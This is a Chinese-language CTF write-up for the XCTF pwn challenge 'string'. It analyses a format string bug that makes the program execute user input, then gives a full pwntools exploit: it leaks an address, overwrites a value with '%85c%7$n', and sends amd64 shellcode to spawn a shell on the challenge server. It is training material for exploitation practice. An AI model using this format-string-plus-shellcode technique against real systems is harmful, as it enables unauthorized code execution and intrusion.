攻防世界string

string

0x00 查看文件信息及保护

攻防世界string_第1张图片
64位程序,保护开的有点多

0x01 静态分析

攻防世界string_第2张图片
能够发现在sub_400CA6()中,将输入的v1强制转换成函数指针,也就是将v1当做指令来执行。
要执行这段代码,需要使*a1 == a1[1],往上寻找能够发现a1也就是main()中的v4
能够发现v4 = (_int64)v3,能够发现*a1 == a1[1]不会成立
攻防世界string_第3张图片
但是在sub_400BB9()中能够发现一个格式化字符串漏洞,可以利用这个漏洞改写*v3或者v3[1]处的值,使得*a1 == a1[1]成立,然后传入shellcode到v1中即可

0x02 攻击思路

获取*v3或者v3[1]的地址,在main()中已经将其地址打印出来了
利用格式化字符串漏洞改写 *v3 或 v3[1]的值,然后传入shellcode即可

构造exp
from pwn import *
#context.arch = "i386"
context.arch =  "amd64"
#context.log_level = "debug"

#p = process("./string")
p = remote('111.198.29.45',37457)
p.recvuntil('secret[0] is ')
#p.recvuntil('secret[1] is ')
v3_addr=int(p.recv(7),16)

p.sendlineafter("What should your character's name be:","asd")
p.sendlineafter("So, where you will go?east or up?:","east")
p.sendlineafter("go into there(1), or leave(0)?:","1")
p.sendlineafter("'Give me an address'",str(v3_addr))

payload = "%85c%7$n"
#payload = "%68c%7$n"
p.sendlineafter("And, you wish is:",payload)

shellcode = asm(shellcraft.amd64.sh(),arch="amd64")
p.sendlineafter('Wizard: I will help you! USE YOU SPELL',shellcode)
p.interactive()

执行
攻防世界string_第4张图片

你可能感兴趣的:(攻防世界pwn)